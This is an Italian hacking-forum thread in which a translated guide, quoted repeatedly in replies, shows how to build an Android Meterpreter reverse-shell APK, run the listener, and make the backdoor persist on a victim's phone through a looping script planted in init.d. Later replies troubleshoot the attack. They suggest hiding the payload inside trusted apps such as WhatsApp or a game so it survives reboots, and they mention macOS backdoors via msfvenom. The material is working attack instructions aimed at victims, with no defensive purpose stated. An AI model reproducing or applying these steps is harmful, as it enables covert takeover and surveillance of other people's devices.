Domanda Malware [GUIDA] Backdoor persistente android

Stato
Discussione chiusa ad ulteriori risposte.

Sekmet

Utente Palladium
8 Maggio 2010
2,465
179
1,377
1,471
Ultima modifica:
Salve, questa guida non è di mia creazione, ma è la traduzione di quella presente a QUESTO indirizzo.

Requisiti :

Kali Linux
Linux

Creazione della backdoor :

Prima di tutto apriamo un terminale di Kali e creiamo la nostra backdoor utilizzando questo comando

msfpayload android/meterpreter/reverse_tcp LHOST=IPVOSTRO LPORT=PORTA R > /root/NOMEFILE.apk

Accuratezze :

IPVOSTRO : Indicare il vostro IP Locale se l'attacco sarà in LAN, altrimenti inserite il vostro IP pubblico;
PORTA : La vostra porta in ascolto, se volete fare un attacco in WAN assicuratevi di attuare un Port Forwading sul vostro router;
NOMEFILE : E' il nome del file, della backdoor, che sarà generato. Ovviamente l'estensione lasciatela .apk dal momento che l'attacco sarà su un cellulare Android.

Attiviamo il listener :

Se vogliamo eseguire l'attacco, dobbiamo essere ovviamente pronti a ricevere la richiesta di connessione da parte del cellulare della vittima, quindi mettiamoci in ascolto.
Entrate su msfconsole e eseguite i comandi uno ad uno

  1. use exploit/multi/handler
  2. set payload android/meterpreter/reverse_tcp
  3. set LHOST IPRIVATO
  4. set LPORT PORTA
  5. exploit

Dopo aver fatto ciò basterà attendere che il file venga attivato dalla vittima e riceverete una connessione.

Accuratezze :

IPRIVATO : Qui non dovete mettere alcun IP pubblico anche se l'attacco avviene in LAN, ma bensì l'IP privato della vostra macchina
PORTA : La vostra porta in ascolto, quella che avete inserito nelle impostazioni di Port Forwading in caso di attacco in WAN

Rendere persistente questa backdoor :

Prima di tutto dovete sapere che per rendere persistente una backdoor su android è necessario il permesso di root. Detto questo, procediamo.

Creiamo un file avente qualsiasi nome ma estensione .sh e mettiamo questo codice all'interno

#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 2000
done

successivamente salviamolo e prepariamoci nel caricarlo sul cellulare della vittima dopo la prima connessione meterpreter.

Caricare il file sul cellulare della vittima :

Abbiamo due situazioni possibili :

- Permessi di root abilitati
- Permessi di root disabilitati

Nel primo caso potremo caricare il file in una directory che permetterà alla backdoor di avviarsi ad ogni riavvio del cellulare.
Nel secondo caso, una volta eseguito lo script di persistenza, la backdoor continuerà a inviare richieste al nostro IP fino a quando il cellulare non verrà riavviato.

Nel caso in cui vi siano i permessi di root, spostiamoci di cartella in cartella con la nostra connessione meterpreter (utilizzando il comando cd) con lo scopo di raggiungere la folder system/etc/init.d .
Una volta arrivati, carichiamo il nostro file avente estensione .sh utilizzando il comando upload

upload nomefile.sh (al posto di "nomefile" mettete, ovviamente, il nome del vostro file)

Nel caso in cui non vi siano i permessi di root, non potrete caricare il file in system/etc/init.d, perciò dovrete limitarvi nel caricarlo in una cartella meno protetta tipo quella di Download e avviare il file.
Per avviare il file caricato, basterà utilizzare il comando shell in meterpreter, spostarvi lì dovete avete caricato il file e successivamente utilizzare il comando sh nomefile.sh (ripeto, "nomefile" è il nome che avete dato al file).

Conclusioni e precisazioni :

Il cellulare Android della vittima dovrà avere la funzione "Installa anche da origini sconosciute" attiva, se così non sarà, la vostra applicazione non verrà installata.
Per risolvere il problema dell'applicazione non firmata sembrerebbe esserci un modo per firmarla manualmente, io però preferisco testare il metodo prima di renderlo pubblico.
Sto anche pensando a un modo per rimuovere il problema del file e modificare la backdoor .apk per inserire all'interno un ciclo che avii ogni X secondi (o minuti,ore, giorni, mexi) la funzione di connessione. Vi farò sapere se ci saranno novità.

Se avete domande, sono a vostra disposizione.
Se avete critiche, spero queste siano costruttive.
Se avete consigli, sarò onorato di leggerli.

Saluti, Sekmet.-
 
  • Mi piace
Reazioni: ScriptMan
Salve, questa guida non è di mia creazione, ma è la traduzione di quella presente a QUESTO indirizzo.

Requisiti :

Kali Linux

Creazione della backdoor :

Prima di tutto apriamo un terminale di Kali e creiamo la nostra backdoor utilizzando questo comando

msfpayload android/meterpreter/reverse_tcp LHOST=IPVOSTRO LPORT=PORTA R > /root/NOMEFILE.apk

Accuratezze :

IPVOSTRO : Indicare il vostro IP Locale se l'attacco sarà in LAN, altrimenti inserite il vostro IP pubblico;
PORTA : La vostra porta in ascolto, se volete fare un attacco in WAN assicuratevi di attuare un Port Forwading sul vostro router;
NOMEFILE : E' il nome del file, della backdoor, che sarà generato. Ovviamente l'estensione lasciatela .apk dal momento che l'attacco sarà su un cellulare Android.

Attiviamo il listener :

Se vogliamo eseguire l'attacco, dobbiamo essere ovviamente pronti a ricevere la richiesta di connessione da parte del cellulare della vittima, quindi mettiamoci in ascolto.
Entrate su msfconsole e eseguite i comandi uno ad uno

  1. use exploit/multi/handler
  2. set payload android/meterpreter/reverse_tcp
  3. set LHOST IPRIVATO
  4. set LPORT PORTA
  5. exploit

Dopo aver fatto ciò basterà attendere che il file venga attivato dalla vittima e riceverete una connessione.

Accuratezze :

IPRIVATO : Qui non dovete mettere alcun IP pubblico anche se l'attacco avviene in LAN, ma bensì l'IP privato della vostra macchina
PORTA : La vostra porta in ascolto, quella che avete inserito nelle impostazioni di Port Forwading in caso di attacco in WAN

Rendere persistente questa backdoor :

Prima di tutto dovete sapere che per rendere persistente una backdoor su android è necessario il permesso di root. Detto questo, procediamo.

Creiamo un file avente qualsiasi nome ma estensione .sh e mettiamo questo codice all'interno

#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 2000
done

successivamente salviamolo e prepariamoci nel caricarlo sul cellulare della vittima dopo la prima connessione meterpreter.

Caricare il file sul cellulare della vittima :

Abbiamo due situazioni possibili :

- Permessi di root abilitati
- Permessi di root disabilitati

Nel primo caso potremo caricare il file in una directory che permetterà alla backdoor di avviarsi ad ogni riavvio del cellulare.
Nel secondo caso, una volta eseguito lo script di persistenza, la backdoor continuerà a inviare richieste al nostro IP fino a quando il cellulare non verrà riavviato.

Nel caso in cui vi siano i permessi di root, spostiamoci di cartella in cartella con la nostra connessione meterpreter (utilizzando il comando cd) con lo scopo di raggiungere la folder system/etc/init.d .
Una volta arrivati, carichiamo il nostro file avente estensione .sh utilizzando il comando upload

upload nomefile.sh (al posto di "nomefile" mettete, ovviamente, il nome del vostro file)

Nel caso in cui non vi siano i permessi di root, non potrete caricare il file in system/etc/init.d, perciò dovrete limitarvi nel caricarlo in una cartella meno protetta tipo quella di Download e avviare il file.
Per avviare il file caricato, basterà utilizzare il comando shell in meterpreter, spostarvi lì dovete avete caricato il file e successivamente utilizzare il comando sh nomefile.sh (ripeto, "nomefile" è il nome che avete dato al file).

Conclusioni e precisazioni :

Il cellulare Android della vittima dovrà avere la funzione "Installa anche da origini sconosciute" attiva, se così non sarà, la vostra applicazione non verrà installata.
Per risolvere il problema dell'applicazione non firmata sembrerebbe esserci un modo per firmarla manualmente, io però preferisco testare il metodo prima di renderlo pubblico.
Sto anche pensando a un modo per rimuovere il problema del file e modificare la backdoor .apk per inserire all'interno un ciclo che avii ogni X secondi (o minuti,ore, giorni, mexi) la funzione di connessione. Vi farò sapere se ci saranno novità.

Se avete domande, sono a vostra disposizione.
Se avete critiche, spero queste siano costruttive.
Se avete consigli, sarò onorato di leggerli.

Saluti, Sekmet.-
grande lavoro come sempre sekmet!!!
 
  • Mi piace
Reazioni: Sekmet
Salve, questa guida non è di mia creazione, ma è la traduzione di quella presente a QUESTO indirizzo.

Requisiti :

Kali Linux
Linux

Creazione della backdoor :

Prima di tutto apriamo un terminale di Kali e creiamo la nostra backdoor utilizzando questo comando

msfpayload android/meterpreter/reverse_tcp LHOST=IPVOSTRO LPORT=PORTA R > /root/NOMEFILE.apk

Accuratezze :

IPVOSTRO : Indicare il vostro IP Locale se l'attacco sarà in LAN, altrimenti inserite il vostro IP pubblico;
PORTA : La vostra porta in ascolto, se volete fare un attacco in WAN assicuratevi di attuare un Port Forwading sul vostro router;
NOMEFILE : E' il nome del file, della backdoor, che sarà generato. Ovviamente l'estensione lasciatela .apk dal momento che l'attacco sarà su un cellulare Android.

Attiviamo il listener :

Se vogliamo eseguire l'attacco, dobbiamo essere ovviamente pronti a ricevere la richiesta di connessione da parte del cellulare della vittima, quindi mettiamoci in ascolto.
Entrate su msfconsole e eseguite i comandi uno ad uno

  1. use exploit/multi/handler
  2. set payload android/meterpreter/reverse_tcp
  3. set LHOST IPRIVATO
  4. set LPORT PORTA
  5. exploit

Dopo aver fatto ciò basterà attendere che il file venga attivato dalla vittima e riceverete una connessione.

Accuratezze :

IPRIVATO : Qui non dovete mettere alcun IP pubblico anche se l'attacco avviene in LAN, ma bensì l'IP privato della vostra macchina
PORTA : La vostra porta in ascolto, quella che avete inserito nelle impostazioni di Port Forwading in caso di attacco in WAN

Rendere persistente questa backdoor :

Prima di tutto dovete sapere che per rendere persistente una backdoor su android è necessario il permesso di root. Detto questo, procediamo.

Creiamo un file avente qualsiasi nome ma estensione .sh e mettiamo questo codice all'interno

#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 2000
done

successivamente salviamolo e prepariamoci nel caricarlo sul cellulare della vittima dopo la prima connessione meterpreter.

Caricare il file sul cellulare della vittima :

Abbiamo due situazioni possibili :

- Permessi di root abilitati
- Permessi di root disabilitati

Nel primo caso potremo caricare il file in una directory che permetterà alla backdoor di avviarsi ad ogni riavvio del cellulare.
Nel secondo caso, una volta eseguito lo script di persistenza, la backdoor continuerà a inviare richieste al nostro IP fino a quando il cellulare non verrà riavviato.

Nel caso in cui vi siano i permessi di root, spostiamoci di cartella in cartella con la nostra connessione meterpreter (utilizzando il comando cd) con lo scopo di raggiungere la folder system/etc/init.d .
Una volta arrivati, carichiamo il nostro file avente estensione .sh utilizzando il comando upload

upload nomefile.sh (al posto di "nomefile" mettete, ovviamente, il nome del vostro file)

Nel caso in cui non vi siano i permessi di root, non potrete caricare il file in system/etc/init.d, perciò dovrete limitarvi nel caricarlo in una cartella meno protetta tipo quella di Download e avviare il file.
Per avviare il file caricato, basterà utilizzare il comando shell in meterpreter, spostarvi lì dovete avete caricato il file e successivamente utilizzare il comando sh nomefile.sh (ripeto, "nomefile" è il nome che avete dato al file).

Conclusioni e precisazioni :

Il cellulare Android della vittima dovrà avere la funzione "Installa anche da origini sconosciute" attiva, se così non sarà, la vostra applicazione non verrà installata.
Per risolvere il problema dell'applicazione non firmata sembrerebbe esserci un modo per firmarla manualmente, io però preferisco testare il metodo prima di renderlo pubblico.
Sto anche pensando a un modo per rimuovere il problema del file e modificare la backdoor .apk per inserire all'interno un ciclo che avii ogni X secondi (o minuti,ore, giorni, mexi) la funzione di connessione. Vi farò sapere se ci saranno novità.

Se avete domande, sono a vostra disposizione.
Se avete critiche, spero queste siano costruttive.
Se avete consigli, sarò onorato di leggerli.

Saluti, Sekmet.-
Chiarissimo come sempre, anche se attendo con ansia il metodo con la modifica della backdoor, siccome con questo metodo si ha prticamente poco tempo a disposizione per fare l'upload del file prima che l'app venga eventualmente chiusa.
 
:yo:Domanda stupida:lamer:: esistono delle backdoor per dispositivi apple ( Mac, Iphone, ipad etc etc)? se si come si creano?
 
Chiarissimo come sempre, anche se attendo con ansia il metodo con la modifica della backdoor, siccome con questo metodo si ha prticamente poco tempo a disposizione per fare l'upload del file prima che l'app venga eventualmente chiusa.

Anche se l'app viene chiusa dalle "applicazioni in background" la connessione meterpreter è comunque attiva. L'eventuale problema nasce in caso di eliminazione dei file che compongono l'app

:yo:Domanda stupida:lamer:: esistono delle backdoor per dispositivi apple ( Mac, Iphone, ipad etc etc)? se si come si creano?

Riguardo i prodotti Apple (iPhone per esempio) il cellulare deve essere jailbreaked, altrimenti non è possibile fare quello che chiedi, nemmeno mettere una backdoor. Questo è quello che so io.
Riguardo i PC Mac OSX, è possibile creare backdoor utilizzando msfvenom. Alla creazione di essa è necessario impostare la piattaforma ed è lì che dovrai indicare osx. Utilizzando lo stesso terminale troverai più informazioni a riguardo, in caso contrario il sito offensive-security mette a disposizione tutte le informazioni
 
Anche se l'app viene chiusa dalle "applicazioni in background" la connessione meterpreter è comunque attiva. L'eventuale problema nasce in caso di eliminazione dei file che compongono l'app
Io ho provato diversi metodi per incorporare una backdoor(WAN) in una .apk, e mi capita che ogni qualvolta si chiude l'app la connessione meterpreter cade.
Non riesco a capire a questo punto, se tu mi assicuri che la connessione dovrebbe continuare ad esserci, perchè la perdo.
 
Io ho provato diversi metodi per incorporare una backdoor(WAN) in una .apk, e mi capita che ogni qualvolta si chiude l'app la connessione meterpreter cade.
Non riesco a capire a questo punto, se tu mi assicuri che la connessione dovrebbe continuare ad esserci, perchè la perdo.

Ho sinceramente controllato quello che hai affermato e cioè che chiudendo l'app, si perde la connessione.
Ho provato sul mio telefono e questo non accade, ho provato su quello di un mio familiare e effettivamente succede quello che affermi.
In questi giorni voglio studiare l'idea di incorporare la persistenza nel file .apk, fino ad allora posso consigliarti una cosa molto semplice :
Prepara in un file di testo tutti i comandi da usare, così ti basterà copiare e incollare velocemente nel terminale.

Riguardo la mia idea di voler modificare il file .apk, penso che proveró con una funzione che automaticamente crea il file di persistenza. Ho abbandonato l'idea della funzione che avvia in continuazione la connessione in quanto, pensandoci oggi, se l'app viene chiusa poi la funzione non può essere eseguita.
 
Ho sinceramente controllato quello che hai affermato e cioè che chiudendo l'app, si perde la connessione.
Ho provato sul mio telefono e questo non accade, ho provato su quello di un mio familiare e effettivamente succede quello che affermi.
In questi giorni voglio studiare l'idea di incorporare la persistenza nel file .apk, fino ad allora posso consigliarti una cosa molto semplice :
Prepara in un file di testo tutti i comandi da usare, così ti basterà copiare e incollare velocemente nel terminale.

Riguardo la mia idea di voler modificare il file .apk, penso che proveró con una funzione che automaticamente crea il file di persistenza. Ho abbandonato l'idea della funzione che avvia in continuazione la connessione in quanto, pensandoci oggi, se l'app viene chiusa poi la funzione non può essere eseguita.
Capito, vabbè in ogni caso se puoi tienici aggiornati ;-)
 
Nel caso in cui vi siano i permessi di root, spostiamoci di cartella in cartella con la nostra connessione meterpreter (utilizzando il comando cd) con lo scopo di raggiungere la folder system/etc/init.d .
Una volta arrivati, carichiamo il nostro file avente estensione .sh utilizzando il comando upload

upload nomefile.sh (al posto di "nomefile" mettete, ovviamente, il nome del vostro file)

Nel caso in cui non vi siano i permessi di root, non potrete caricare il file in system/etc/init.d, perciò dovrete limitarvi nel caricarlo in una cartella meno protetta tipo quella di Download e avviare il file.
Per avviare il file caricato, basterà utilizzare il comando shell in meterpreter, spostarvi lì dovete avete caricato il file e successivamente utilizzare il comando sh nomefile.sh (ripeto, "nomefile" è il nome che avete dato al file).
-
Sekmet ho provato a fare l'upload del file .sh sia nella cartella etc sia in quella di download ma mi esce questo errore...
core_channel_open: Operation failed: 1
consigli????
 
Salve, questa guida non è di mia creazione, ma è la traduzione di quella presente a QUESTO indirizzo.

Requisiti :

Kali Linux
Linux

Creazione della backdoor :

Prima di tutto apriamo un terminale di Kali e creiamo la nostra backdoor utilizzando questo comando

msfpayload android/meterpreter/reverse_tcp LHOST=IPVOSTRO LPORT=PORTA R > /root/NOMEFILE.apk

Accuratezze :

IPVOSTRO : Indicare il vostro IP Locale se l'attacco sarà in LAN, altrimenti inserite il vostro IP pubblico;
PORTA : La vostra porta in ascolto, se volete fare un attacco in WAN assicuratevi di attuare un Port Forwading sul vostro router;
NOMEFILE : E' il nome del file, della backdoor, che sarà generato. Ovviamente l'estensione lasciatela .apk dal momento che l'attacco sarà su un cellulare Android.

Attiviamo il listener :

Se vogliamo eseguire l'attacco, dobbiamo essere ovviamente pronti a ricevere la richiesta di connessione da parte del cellulare della vittima, quindi mettiamoci in ascolto.
Entrate su msfconsole e eseguite i comandi uno ad uno

  1. use exploit/multi/handler
  2. set payload android/meterpreter/reverse_tcp
  3. set LHOST IPRIVATO
  4. set LPORT PORTA
  5. exploit

Dopo aver fatto ciò basterà attendere che il file venga attivato dalla vittima e riceverete una connessione.

Accuratezze :

IPRIVATO : Qui non dovete mettere alcun IP pubblico anche se l'attacco avviene in LAN, ma bensì l'IP privato della vostra macchina
PORTA : La vostra porta in ascolto, quella che avete inserito nelle impostazioni di Port Forwading in caso di attacco in WAN

Rendere persistente questa backdoor :

Prima di tutto dovete sapere che per rendere persistente una backdoor su android è necessario il permesso di root. Detto questo, procediamo.

Creiamo un file avente qualsiasi nome ma estensione .sh e mettiamo questo codice all'interno

#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 2000
done

successivamente salviamolo e prepariamoci nel caricarlo sul cellulare della vittima dopo la prima connessione meterpreter.

Caricare il file sul cellulare della vittima :

Abbiamo due situazioni possibili :

- Permessi di root abilitati
- Permessi di root disabilitati

Nel primo caso potremo caricare il file in una directory che permetterà alla backdoor di avviarsi ad ogni riavvio del cellulare.
Nel secondo caso, una volta eseguito lo script di persistenza, la backdoor continuerà a inviare richieste al nostro IP fino a quando il cellulare non verrà riavviato.

Nel caso in cui vi siano i permessi di root, spostiamoci di cartella in cartella con la nostra connessione meterpreter (utilizzando il comando cd) con lo scopo di raggiungere la folder system/etc/init.d .
Una volta arrivati, carichiamo il nostro file avente estensione .sh utilizzando il comando upload

upload nomefile.sh (al posto di "nomefile" mettete, ovviamente, il nome del vostro file)

Nel caso in cui non vi siano i permessi di root, non potrete caricare il file in system/etc/init.d, perciò dovrete limitarvi nel caricarlo in una cartella meno protetta tipo quella di Download e avviare il file.
Per avviare il file caricato, basterà utilizzare il comando shell in meterpreter, spostarvi lì dovete avete caricato il file e successivamente utilizzare il comando sh nomefile.sh (ripeto, "nomefile" è il nome che avete dato al file).

Conclusioni e precisazioni :

Il cellulare Android della vittima dovrà avere la funzione "Installa anche da origini sconosciute" attiva, se così non sarà, la vostra applicazione non verrà installata.
Per risolvere il problema dell'applicazione non firmata sembrerebbe esserci un modo per firmarla manualmente, io però preferisco testare il metodo prima di renderlo pubblico.
Sto anche pensando a un modo per rimuovere il problema del file e modificare la backdoor .apk per inserire all'interno un ciclo che avii ogni X secondi (o minuti,ore, giorni, mexi) la funzione di connessione. Vi farò sapere se ci saranno novità.

Se avete domande, sono a vostra disposizione.
Se avete critiche, spero queste siano costruttive.
Se avete consigli, sarò onorato di leggerli.

Saluti, Sekmet.-
Per la persistence dalla versione 6.0 in poi non funziona più e per le versioni 5.1 non sempre funziona quel persistance poiché bisognerebbe crearlo all'interno del telefono e cambiando solo la riga del while true in while : e avviarlo.. per creare come dici @Sekmet una persistance dentro all'apk teoricamente dovresti creare un oggetto java dove passando un tot di tempo si deve ricollegare... perciò avresti bisogno di appunto un oggetto java che lavori in background e costantemente attivo.. però il problema sorgerebbe sempre dal fatto se io dovessi riavviare il telefono e questo non dovresti più averlo.. infatti è consigliato mettere il template con un altro apk e inserire i file di metasploit del meterpreter Android in un apk dove sai che la vittima quel apk lo userà sempre e comunque anche dopo il riavvio del telefono.. esempio whatsapp, Facebook ecc.

Inviata da SM-N910F tramite app ufficiale di Inforge.net
 
Sekmet ho provato a fare l'upload del file .sh sia nella cartella etc sia in quella di download ma mi esce questo errore...
core_channel_open: Operation failed: 1
consigli????

Che comando hai dato? Dopo esserti spostato in /sdcard/Download controlla di essere nella cartella giudta con il comando pwd, se sei nella cartella Download dai il comando upload /percorso_file_sul_tuo_computer/file.sh, se hai fatto così non saprei bene cosa dirti.
 
Ciao ragazzi, sapete percaso perchè ogni volta che creo una backdoor per android il file che si andrà ad ottenere sarà un apk di 0 kb? Ho notato che anche altre persone hanno lo stesso problema.

msfvenom -x RollingSky.apk -p android/meterpreter/reverse_tcp lhost=192.168.1.39 lport=1500 -o RollingSkpayloady.apk

oppure

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.39 lport=1500 R > /root/prova.apk
 
Ciao ragazzi, sapete percaso perchè ogni volta che creo una backdoor per android il file che si andrà ad ottenere sarà un apk di 0 kb? Ho notato che anche altre persone hanno lo stesso problema.

msfvenom -x RollingSky.apk -p android/meterpreter/reverse_tcp lhost=192.168.1.39 lport=1500 -o RollingSkpayloady.apk

oppure

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.39 lport=1500 R > /root/prova.apk

metti in maiuscolo lhost e lport
 
Stato
Discussione chiusa ad ulteriori risposte.